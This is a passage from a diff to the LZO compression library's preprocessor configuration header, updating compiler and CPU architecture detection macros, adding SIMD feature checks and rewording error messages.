+# define LZO_CC_PATHSCALE_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
+# endif
+#elif defined(__INTEL_COMPILER) && ((__INTEL_COMPILER-0) > 0)
+# define LZO_CC_INTELC __INTEL_COMPILER
# define LZO_INFO_CC "Intel C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__INTEL_COMPILER)
-# if defined(_WIN32) || defined(_WIN64)
-# define LZO_CC_SYNTAX_MSC 1
-# else
-# define LZO_CC_SYNTAX_GNUC 1
+# if defined(_MSC_VER) && ((_MSC_VER-0) > 0)
+# define LZO_CC_INTELC_MSC _MSC_VER
+# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+# define LZO_CC_INTELC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
# endif
#elif defined(__POCC__) && defined(_WIN32)
# define LZO_CC_PELLESC 1
# define LZO_INFO_CC "Pelles C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__POCC__)
-#elif defined(__clang__) && defined(__llvm__) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+#elif defined(__ARMCC_VERSION) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
# if defined(__GNUC_PATCHLEVEL__)
-# define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100 + __GNUC_PATCHLEVEL__)
+# define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
# else
-# define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100)
+# define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100)
# endif
+# define LZO_CC_ARMCC __ARMCC_VERSION
+# define LZO_INFO_CC "ARM C Compiler"
+# define LZO_INFO_CCVER __VERSION__
+#elif defined(__clang__) && defined(__llvm__) && defined(__VERSION__)
# if defined(__clang_major__) && defined(__clang_minor__) && defined(__clang_patchlevel__)
-# define LZO_CC_CLANG_CLANG (__clang_major__ * 0x10000L + __clang_minor__ * 0x100 + __clang_patchlevel__)
+# define LZO_CC_CLANG (__clang_major__ * 0x10000L + (__clang_minor__-0) * 0x100 + (__clang_patchlevel__-0))
# else
-# define LZO_CC_CLANG_CLANG 0x020700L
+# define LZO_CC_CLANG 0x010000L
# endif
-# define LZO_CC_CLANG LZO_CC_CLANG_GNUC
+# if defined(_MSC_VER) && ((_MSC_VER-0) > 0)
+# define LZO_CC_CLANG_MSC _MSC_VER
+# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+# define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
+# endif
# define LZO_INFO_CC "clang"
# define LZO_INFO_CCVER __VERSION__
#elif defined(__llvm__) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
# if defined(__GNUC_PATCHLEVEL__)
-# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100 + __GNUC_PATCHLEVEL__)
+# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
# else
-# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100)
+# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100)
# endif
# define LZO_CC_LLVM LZO_CC_LLVM_GNUC
# define LZO_INFO_CC "llvm-gcc"
# define LZO_INFO_CCVER __VERSION__
-#elif defined(__GNUC__) && defined(__VERSION__)
-# if defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__)
-# define LZO_CC_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100 + __GNUC_PATCHLEVEL__)
-# elif defined(__GNUC_MINOR__)
-# define LZO_CC_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100)
-# else
-# define LZO_CC_GNUC (__GNUC__ * 0x10000L)
-# endif
-# define LZO_INFO_CC "gcc"
-# define LZO_INFO_CCVER __VERSION__
#elif defined(__ACK__) && defined(_ACK)
# define LZO_CC_ACK 1
# define LZO_INFO_CC "Amsterdam Compiler Kit C"
# define LZO_INFO_CCVER "unknown"
+#elif defined(__ARMCC_VERSION) && !defined(__GNUC__)
+# define LZO_CC_ARMCC __ARMCC_VERSION
+# define LZO_CC_ARMCC_ARMCC __ARMCC_VERSION
+# define LZO_INFO_CC "ARM C Compiler"
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ARMCC_VERSION)
#elif defined(__AZTEC_C__)
# define LZO_CC_AZTECC 1
# define LZO_INFO_CC "Aztec C"
@@ -559,10 +613,23 @@
# define LZO_CC_DECC 1
# define LZO_INFO_CC "DEC C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DECC)
+#elif (defined(__ghs) || defined(__ghs__)) && defined(__GHS_VERSION_NUMBER) && ((__GHS_VERSION_NUMBER-0) > 0)
+# define LZO_CC_GHS 1
+# define LZO_INFO_CC "Green Hills C"
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__GHS_VERSION_NUMBER)
+# if defined(_MSC_VER) && ((_MSC_VER-0) > 0)
+# define LZO_CC_GHS_MSC _MSC_VER
+# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+# define LZO_CC_GHS_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
+# endif
#elif defined(__HIGHC__)
# define LZO_CC_HIGHC 1
# define LZO_INFO_CC "MetaWare High C"
# define LZO_INFO_CCVER "unknown"
+#elif defined(__HP_aCC) && ((__HP_aCC-0) > 0)
+# define LZO_CC_HPACC __HP_aCC
+# define LZO_INFO_CC "HP aCC"
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__HP_aCC)
#elif defined(__IAR_SYSTEMS_ICC__)
# define LZO_CC_IARC 1
# define LZO_INFO_CC "IAR C"
@@ -571,10 +638,14 @@
# else
# define LZO_INFO_CCVER "unknown"
# endif
-#elif defined(__IBMC__)
-# define LZO_CC_IBMC 1
+#elif defined(__IBMC__) && ((__IBMC__-0) > 0)
+# define LZO_CC_IBMC __IBMC__
# define LZO_INFO_CC "IBM C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMC__)
+#elif defined(__IBMCPP__) && ((__IBMCPP__-0) > 0)
+# define LZO_CC_IBMC __IBMCPP__
+# define LZO_INFO_CC "IBM C"
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMCPP__)
#elif defined(__KEIL__) && defined(__C166__)
# define LZO_CC_KEILC 1
# define LZO_INFO_CC "Keil C"
@@ -591,16 +662,8 @@
# else
# define LZO_INFO_CCVER "unknown"
# endif
-#elif defined(_MSC_VER)
-# define LZO_CC_MSC 1
-# define LZO_INFO_CC "Microsoft C"
-# if defined(_MSC_FULL_VER)
-# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) "." LZO_PP_MACRO_EXPAND(_MSC_FULL_VER)
-# else
-# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER)
-# endif
-#elif defined(__MWERKS__)
-# define LZO_CC_MWERKS 1
+#elif defined(__MWERKS__) && ((__MWERKS__-0) > 0)
+# define LZO_CC_MWERKS __MWERKS__
# define LZO_INFO_CC "Metrowerks C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__MWERKS__)
#elif (defined(__NDPC__) || defined(__NDPX__)) && defined(__i386)
@@ -611,6 +674,15 @@
# define LZO_CC_PACIFICC 1
# define LZO_INFO_CC "Pacific C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PACIFIC__)
+#elif defined(__PGI) && defined(__PGIC__) && defined(__PGIC_MINOR__)
+# if defined(__PGIC_PATCHLEVEL__)
+# define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100 + (__PGIC_PATCHLEVEL__-0))
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) "." LZO_PP_MACRO_EXPAND(__PGIC_PATCHLEVEL__)
+# else
+# define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100)
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) ".0"
+# endif
+# define LZO_INFO_CC "Portland Group PGI C"
#elif defined(__PGI) && (defined(__linux__) || defined(__WIN32__))
# define LZO_CC_PGI 1
# define LZO_INFO_CC "Portland Group PGI C"
@@ -625,7 +697,7 @@
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SC__)
#elif defined(__SUNPRO_C)
# define LZO_INFO_CC "SunPro C"
-# if ((__SUNPRO_C)+0 > 0)
+# if ((__SUNPRO_C-0) > 0)
# define LZO_CC_SUNPROC __SUNPRO_C
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_C)
# else
@@ -634,7 +706,7 @@
# endif
#elif defined(__SUNPRO_CC)
# define LZO_INFO_CC "SunPro C"
-# if ((__SUNPRO_CC)+0 > 0)
+# if ((__SUNPRO_CC-0) > 0)
# define LZO_CC_SUNPROC __SUNPRO_CC
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_CC)
# else
@@ -660,16 +732,46 @@
#elif defined(__ZTC__)
# define LZO_CC_ZORTECHC 1
# define LZO_INFO_CC "Zortech C"
-# if (__ZTC__ == 0x310)
+# if ((__ZTC__-0) == 0x310)
# define LZO_INFO_CCVER "0x310"
# else
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ZTC__)
# endif
+#elif defined(__GNUC__) && defined(__VERSION__)
+# if defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__)
+# define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
+# elif defined(__GNUC_MINOR__)
+# define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100)
+# else
+# define LZO_CC_GNUC (__GNUC__ * 0x10000L)
+# endif
+# define LZO_INFO_CC "gcc"
+# define LZO_INFO_CCVER __VERSION__
+#elif defined(_MSC_VER) && ((_MSC_VER-0) > 0)
+# define LZO_CC_MSC _MSC_VER
+# define LZO_INFO_CC "Microsoft C"
+# if defined(_MSC_FULL_VER)
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) "." LZO_PP_MACRO_EXPAND(_MSC_FULL_VER)
+# else
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER)
+# endif
#else
# define LZO_CC_UNKNOWN 1
# define LZO_INFO_CC "unknown"
# define LZO_INFO_CCVER "unknown"
#endif
+#if (LZO_CC_GNUC) && defined(__OPEN64__)
+# if defined(__OPENCC__) && defined(__OPENCC_MINOR__) && defined(__OPENCC_PATCHLEVEL__)
+# define LZO_CC_OPEN64 (__OPENCC__ * 0x10000L + (__OPENCC_MINOR__-0) * 0x100 + (__OPENCC_PATCHLEVEL__-0))
+# define LZO_CC_OPEN64_GNUC LZO_CC_GNUC
+# endif
+#endif
+#if (LZO_CC_GNUC) && defined(__PCC__)
+# if defined(__PCC__) && defined(__PCC_MINOR__) && defined(__PCC_MINORMINOR__)
+# define LZO_CC_PCC (__PCC__ * 0x10000L + (__PCC_MINOR__-0) * 0x100 + (__PCC_MINORMINOR__-0))
+# define LZO_CC_PCC_GNUC LZO_CC_GNUC
+# endif
+#endif
#if 0 && (LZO_CC_MSC && (_MSC_VER >= 1200)) && !defined(_MSC_FULL_VER)
# error "LZO_CC_MSC: _MSC_FULL_VER is not defined"
#endif
@@ -687,8 +789,10 @@
# define LZO_INFO_ARCH "generic"
#elif (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16)
# define LZO_ARCH_I086 1
-# define LZO_ARCH_IA16 1
# define LZO_INFO_ARCH "i086"
+#elif defined(__aarch64__)
+# define LZO_ARCH_ARM64 1
+# define LZO_INFO_ARCH "arm64"
#elif defined(__alpha__) || defined(__alpha) || defined(_M_ALPHA)
# define LZO_ARCH_ALPHA 1
# define LZO_INFO_ARCH "alpha"
@@ -704,10 +808,10 @@
# define LZO_INFO_ARCH "arm_thumb"
#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCARM__)
# define LZO_ARCH_ARM 1
-# if defined(__CPU_MODE__) && ((__CPU_MODE__)+0 == 1)
+# if defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 1)
# define LZO_ARCH_ARM_THUMB 1
# define LZO_INFO_ARCH "arm_thumb"
-# elif defined(__CPU_MODE__) && ((__CPU_MODE__)+0 == 2)
+# elif defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 2)
# define LZO_INFO_ARCH "arm"
# else
# define LZO_INFO_ARCH "arm"
@@ -825,53 +929,147 @@
# error "FIXME - missing define for CPU architecture"
#endif
#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN32)
-# error "FIXME - missing WIN32 define for CPU architecture"
+# error "FIXME - missing LZO_OS_WIN32 define for CPU architecture"
#endif
#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN64)
-# error "FIXME - missing WIN64 define for CPU architecture"
+# error "FIXME - missing LZO_OS_WIN64 define for CPU architecture"
#endif
#if (LZO_OS_OS216 || LZO_OS_WIN16)
# define LZO_ARCH_I086PM 1
-# define LZO_ARCH_IA16PM 1
#elif 1 && (LZO_OS_DOS16 && defined(BLX286))
# define LZO_ARCH_I086PM 1
-# define LZO_ARCH_IA16PM 1
#elif 1 && (LZO_OS_DOS16 && defined(DOSX286))
# define LZO_ARCH_I086PM 1
-# define LZO_ARCH_IA16PM 1
#elif 1 && (LZO_OS_DOS16 && LZO_CC_BORLANDC && defined(__DPMI16__))
# define LZO_ARCH_I086PM 1
-# define LZO_ARCH_IA16PM 1
#endif
-#if (LZO_ARCH_ARM_THUMB) && !(LZO_ARCH_ARM)
-# error "this should not happen"
+#if (LZO_ARCH_AMD64 && !LZO_ARCH_X64)
+# define LZO_ARCH_X64 1
+#elif (!LZO_ARCH_AMD64 && LZO_ARCH_X64) && defined(__LZO_ARCH_OVERRIDE)
+# define LZO_ARCH_AMD64 1
#endif
-#if (LZO_ARCH_I086PM) && !(LZO_ARCH_I086)
-# error "this should not happen"
+#if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64)
+# define LZO_ARCH_AARCH64 1
+#elif (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) && defined(__LZO_ARCH_OVERRIDE)
+# define LZO_ARCH_ARM64 1
+#endif
+#if (LZO_ARCH_I386 && !LZO_ARCH_X86)
+# define LZO_ARCH_X86 1
+#elif (!LZO_ARCH_I386 && LZO_ARCH_X86) && defined(__LZO_ARCH_OVERRIDE)
+# define LZO_ARCH_I386 1
+#endif
+#if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) || (!LZO_ARCH_AMD64 && LZO_ARCH_X64)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) || (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_I386 && !LZO_ARCH_X86) || (!LZO_ARCH_I386 && LZO_ARCH_X86)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM_THUMB && !LZO_ARCH_ARM)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM_THUMB1 && !LZO_ARCH_ARM_THUMB)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM_THUMB2 && !LZO_ARCH_ARM_THUMB)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM_THUMB1 && LZO_ARCH_ARM_THUMB2)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_I086PM && !LZO_ARCH_I086)
+# error "unexpected configuration - check your compiler defines"
#endif
#if (LZO_ARCH_I086)
# if (UINT_MAX != LZO_0xffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (ULONG_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
#if (LZO_ARCH_I386)
# if (UINT_MAX != LZO_0xffffL) && defined(__i386_int16__)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (UINT_MAX != LZO_0xffffffffL) && !defined(__i386_int16__)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (ULONG_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
-#if !defined(__LZO_MM_OVERRIDE)
+#if (LZO_ARCH_AMD64 || LZO_ARCH_I386)
+# if !defined(LZO_TARGET_FEATURE_SSE2)
+# if defined(__SSE2__)
+# define LZO_TARGET_FEATURE_SSE2 1
+# elif defined(_MSC_VER) && ((defined(_M_IX86_FP) && ((_M_IX86_FP)+0 >= 2)) || defined(_M_AMD64))
+# define LZO_TARGET_FEATURE_SSE2 1
+# endif
+# endif
+# if !defined(LZO_TARGET_FEATURE_SSSE3)
+# if (LZO_TARGET_FEATURE_SSE2)
+# if defined(__SSSE3__)
+# define LZO_TARGET_FEATURE_SSSE3 1
+# elif defined(_MSC_VER) && defined(__AVX__)
+# define LZO_TARGET_FEATURE_SSSE3 1
+# endif
+# endif
+# endif
+# if !defined(LZO_TARGET_FEATURE_SSE4_2)
+# if (LZO_TARGET_FEATURE_SSSE3)
+# if defined(__SSE4_2__)
+# define LZO_TARGET_FEATURE_SSE4_2 1
+# endif
+# endif
+# endif
+# if !defined(LZO_TARGET_FEATURE_AVX)
+# if (LZO_TARGET_FEATURE_SSSE3)
+# if defined(__AVX__)
+# define LZO_TARGET_FEATURE_AVX 1
+# endif
+# endif
+# endif
+# if !defined(LZO_TARGET_FEATURE_AVX2)
+# if (LZO_TARGET_FEATURE_AVX)
+# if defined(__AVX2__)
+# define LZO_TARGET_FEATURE_AVX2 1
+# endif
+# endif
+# endif
+#endif
+#if (LZO_TARGET_FEATURE_SSSE3 && !(LZO_TARGET_FEATURE_SSE2))
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_TARGET_FEATURE_SSE4_2 && !(LZO_TARGET_FEATURE_SSSE3))
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_TARGET_FEATURE_AVX && !(LZO_TARGET_FEATURE_SSSE3))
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_TARGET_FEATURE_AVX2 && !(LZO_TARGET_FEATURE_AVX))
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM)
+# if !defined(LZO_TARGET_FEATURE_NEON)
+# if defined(__ARM_NEON__)
+# define LZO_TARGET_FEATURE_NEON 1
+# endif
+# endif
+#elif (LZO_ARCH_ARM64)
+# if !defined(LZO_TARGET_FEATURE_NEON)
+# if 1
+# define LZO_TARGET_FEATURE_NEON 1
+# endif
+# endif
+#endif
+#if 0
+#elif !defined(__LZO_MM_OVERRIDE)
#if (LZO_ARCH_I086)
#if (UINT_MAX != LZO_0xffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
#endif
#if defined(__TINY__) || defined(M_I86TM) || defined(_M_I86TM)
# define LZO_MM_TINY 1
@@ -898,7 +1096,7 @@
#elif (LZO_CC_ZORTECHC && defined(__VCM__))
# define LZO_MM_LARGE 1
#else
-# error "unknown memory model"
+# error "unknown LZO_ARCH_I086 memory model"
#endif
#if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16)
#define LZO_HAVE_MM_HUGE_PTR 1
@@ -921,10 +1119,10 @@
#endif
#if (LZO_ARCH_I086PM) && !(LZO_HAVE_MM_HUGE_PTR)
# if (LZO_OS_DOS16)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# elif (LZO_CC_ZORTECHC)
# else
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
#ifdef __cplusplus
@@ -956,7 +1154,7 @@
#endif
#elif (LZO_ARCH_C166)
#if !defined(__MODEL__)
-# error "FIXME - C166 __MODEL__"
+# error "FIXME - LZO_ARCH_C166 __MODEL__"
#elif ((__MODEL__) == 0)
# define LZO_MM_SMALL 1
#elif ((__MODEL__) == 1)
@@ -970,11 +1168,11 @@
#elif ((__MODEL__) == 5)
# define LZO_MM_XSMALL 1
#else
-# error "FIXME - C166 __MODEL__"
+# error "FIXME - LZO_ARCH_C166 __MODEL__"
#endif
#elif (LZO_ARCH_MCS251)
#if !defined(__MODEL__)
-# error "FIXME - MCS251 __MODEL__"
+# error "FIXME - LZO_ARCH_MCS251 __MODEL__"
#elif ((__MODEL__) == 0)
# define LZO_MM_SMALL 1
#elif ((__MODEL__) == 2)
@@ -986,11 +1184,11 @@
#elif ((__MODEL__) == 5)
# define LZO_MM_XSMALL 1
#else
-# error "FIXME - MCS251 __MODEL__"
+# error "FIXME - LZO_ARCH_MCS251 __MODEL__"
#endif
#elif (LZO_ARCH_MCS51)
#if !defined(__MODEL__)
-# error "FIXME - MCS51 __MODEL__"
+# error "FIXME - LZO_ARCH_MCS51 __MODEL__"
#elif ((__MODEL__) == 1)
# define LZO_MM_SMALL 1
#elif ((__MODEL__) == 2)
@@ -1002,7 +1200,7 @@
#elif ((__MODEL__) == 5)
# define LZO_MM_XSMALL 1
#else
-# error "FIXME - MCS51 __MODEL__"
+# error "FIXME - LZO_ARCH_MCS51 __MODEL__"
#endif
#elif (LZO_ARCH_CRAY_PVP)
# define LZO_MM_PVP 1
@@ -1029,567 +1227,156 @@
# error "unknown memory model"
#endif
#endif
-#if defined(SIZEOF_SHORT)
-# define LZO_SIZEOF_SHORT (SIZEOF_SHORT)
-#endif
-#if defined(SIZEOF_INT)
-# define LZO_SIZEOF_INT (SIZEOF_INT)
-#endif
-#if defined(SIZEOF_LONG)
-# define LZO_SIZEOF_LONG (SIZEOF_LONG)
-#endif
-#if defined(SIZEOF_LONG_LONG)
-# define LZO_SIZEOF_LONG_LONG (SIZEOF_LONG_LONG)
-#endif
-#if defined(SIZEOF___INT16)
-# define LZO_SIZEOF___INT16 (SIZEOF___INT16)
-#endif
-#if defined(SIZEOF___INT32)
-# define LZO_SIZEOF___INT32 (SIZEOF___INT32)
-#endif
-#if defined(SIZEOF___INT64)
-# define LZO_SIZEOF___INT64 (SIZEOF___INT64)
-#endif
-#if defined(SIZEOF_VOID_P)
-# define LZO_SIZEOF_VOID_P (SIZEOF_VOID_P)
-#endif
-#if defined(SIZEOF_SIZE_T)
-# define LZO_SIZEOF_SIZE_T (SIZEOF_SIZE_T)
-#endif
-#if defined(SIZEOF_PTRDIFF_T)
-# define LZO_SIZEOF_PTRDIFF_T (SIZEOF_PTRDIFF_T)
-#endif
-#define __LZO_LSR(x,b) (((x)+0ul) >> (b))
-#if !defined(LZO_SIZEOF_SHORT)
-# if (LZO_ARCH_CRAY_PVP)
-# define LZO_SIZEOF_SHORT 8
-# elif (USHRT_MAX == LZO_0xffffL)
-# define LZO_SIZEOF_SHORT 2
-# elif (__LZO_LSR(USHRT_MAX,7) == 1)
-# define LZO_SIZEOF_SHORT 1
-# elif (__LZO_LSR(USHRT_MAX,15) == 1)
-# define LZO_SIZEOF_SHORT 2
-# elif (__LZO_LSR(USHRT_MAX,31) == 1)
-# define LZO_SIZEOF_SHORT 4
-# elif (__LZO_LSR(USHRT_MAX,63) == 1)
-# define LZO_SIZEOF_SHORT 8
-# elif (__LZO_LSR(USHRT_MAX,127) == 1)
-# define LZO_SIZEOF_SHORT 16
-# else
-# error "LZO_SIZEOF_SHORT"
-# endif
-#endif
-#if !defined(LZO_SIZEOF_INT)
-# if (LZO_ARCH_CRAY_PVP)
-# define LZO_SIZEOF_INT 8
-# elif (UINT_MAX == LZO_0xffffL)
-# define LZO_SIZEOF_INT 2
-# elif (UINT_MAX == LZO_0xffffffffL)
-# define LZO_SIZEOF_INT 4
-# elif (__LZO_LSR(UINT_MAX,7) == 1)
-# define LZO_SIZEOF_INT 1
-# elif (__LZO_LSR(UINT_MAX,15) == 1)
-# define LZO_SIZEOF_INT 2
-# elif (__LZO_LSR(UINT_MAX,31) == 1)
-# define LZO_SIZEOF_INT 4
-# elif (__LZO_LSR(UINT_MAX,63) == 1)
-# define LZO_SIZEOF_INT 8
-# elif (__LZO_LSR(UINT_MAX,127) == 1)
-# define LZO_SIZEOF_INT 16
-# else
-# error "LZO_SIZEOF_INT"
-# endif
-#endif
-#if !defined(LZO_SIZEOF_LONG)
-# if (ULONG_MAX == LZO_0xffffffffL)
-# define LZO_SIZEOF_LONG 4
-# elif (__LZO_LSR(ULONG_MAX,7) == 1)
-# define LZO_SIZEOF_LONG 1
-# elif (__LZO_LSR(ULONG_MAX,15) == 1)
-# define LZO_SIZEOF_LONG 2
-# elif (__LZO_LSR(ULONG_MAX,31) == 1)
-# define LZO_SIZEOF_LONG 4
-# elif (__LZO_LSR(ULONG_MAX,63) == 1)
-# define LZO_SIZEOF_LONG 8
-# elif (__LZO_LSR(ULONG_MAX,127) == 1)
-# define LZO_SIZEOF_LONG 16
-# else
-# error "LZO_SIZEOF_LONG"
-# endif
-#endif
-#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64)
-#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8)
-# if defined(__LONG_MAX__) && defined(__LONG_LONG_MAX__)
-# if (LZO_CC_GNUC >= 0x030300ul)
-# if ((__LONG_MAX__)+0 == (__LONG_LONG_MAX__)+0)
-# define LZO_SIZEOF_LONG_LONG LZO_SIZEOF_LONG
-# elif (__LZO_LSR(__LONG_LONG_MAX__,30) == 1)
-# define LZO_SIZEOF_LONG_LONG 4
-# endif
-# endif
-# endif
-#endif
-#endif
-#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64)
-#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8)
-#if (LZO_ARCH_I086 && LZO_CC_DMC)
-#elif (LZO_CC_CILLY) && defined(__GNUC__)
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define LZO_SIZEOF_LONG_LONG 8
-#elif ((LZO_OS_WIN32 || LZO_OS_WIN64 || defined(_WIN32)) && LZO_CC_MSC && (_MSC_VER >= 1400))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_OS_WIN64 || defined(_WIN64))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_ARCH_I386 && (LZO_CC_DMC))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_ARCH_I386 && (LZO_CC_SYMANTECC && (__SC__ >= 0x700)))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_ARCH_I386 && (LZO_CC_INTELC && defined(__linux__)))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_ARCH_I386 && (LZO_CC_MWERKS || LZO_CC_PELLESC || LZO_CC_PGI || LZO_CC_SUNPROC))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_ARCH_I386 && (LZO_CC_INTELC || LZO_CC_MSC))
-# define LZO_SIZEOF___INT64 8
-#elif ((LZO_OS_WIN32 || defined(_WIN32)) && (LZO_CC_MSC))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_ARCH_I386 && (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0520)))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_ARCH_I386 && (LZO_CC_WATCOMC && (__WATCOMC__ >= 1100)))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_CC_WATCOMC && defined(_INTEGRAL_MAX_BITS) && (_INTEGRAL_MAX_BITS == 64))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__)
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64)
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_CC_SDCC) && (LZO_SIZEOF_INT == 2)
-#elif 1 && defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
-# define LZO_SIZEOF_LONG_LONG 8
-#endif
-#endif
-#endif
-#if defined(__cplusplus) && (LZO_CC_GNUC)
-# if (LZO_CC_GNUC < 0x020800ul)
-# undef LZO_SIZEOF_LONG_LONG
-# endif
-#endif
-#if (LZO_CFG_NO_LONG_LONG) || defined(__NO_LONG_LONG)
-# undef LZO_SIZEOF_LONG_LONG
-#endif
-#if !defined(LZO_SIZEOF_VOID_P)
-#if (LZO_ARCH_I086)
-# define __LZO_WORDSIZE 2
-# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM)
-# define LZO_SIZEOF_VOID_P 2
